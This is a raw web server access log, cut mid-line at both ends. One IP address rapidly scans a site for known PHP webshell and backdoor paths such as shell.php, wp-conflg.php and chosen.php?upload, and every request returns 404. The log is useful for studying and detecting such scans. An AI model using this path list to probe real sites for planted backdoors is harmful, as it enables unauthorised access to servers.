AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /wp-content/blue.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /packed.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /file/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /plugin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:51 +0300] "GET /chosen.php?upload HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /load.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /wp-includes/css/dist/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /edit-tags.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /saka.phP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /lock.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:52 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /wordpress/wp-includes/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /templates/beez5/error.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /product.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /wp-content/item.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /base.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /wp-content/mah.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:53 +0300] "GET /zero.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /.well-known/pki-validation/aurocuus.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /style.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /db.php?u HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /wp-admin/options.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /wp-content/plugin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /wp-set.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:54 +0300] "GET /wp-includes/mah.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /images/images/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /wp-admin/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /assets/radio.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /.well-known/bak.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /wp-admin/cong.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:55 +0300] "GET /Files/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /wp-content/uploads/aves.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /wp-admin/css/colors/light/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /.well-known/pki-validation/angu.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /wp-admin/install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /pages.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /bulk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:56 +0300] "GET /kk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /wp-logout.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /img/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /wp-includes/packed.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /wp-setup.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:57 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /wp-editor.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /wp-simple.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /.well-known/radio.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /wp-includes/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /wp-admin/images/wp-post.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:58 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /hehehehe.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /wordpress/wp-includes/class-simplepie.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /pgs.phP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /.well-known/pki-validation/file.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /wp-content/languages/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:59 +0300] "GET /wp-admin/maint/moon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /header.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /gecko.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /Files/Mo0n.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:00 +0300] "GET /bk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /templates/beez3/error.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /.well-known/pki-validation/BSTI.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /wp-admin/maint/pongs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /wp-content/uploads/config.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /.well-known/acme-challenge/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /wp-includes/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:01 +0300] "GET /sym.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /templates/cassiopeia/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /wp-includes/images/votes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /wp-content/hello.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /update/403.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /sk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:02 +0300] "GET /wp-content/x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /wp-includes/certificates/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /images/Marvins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 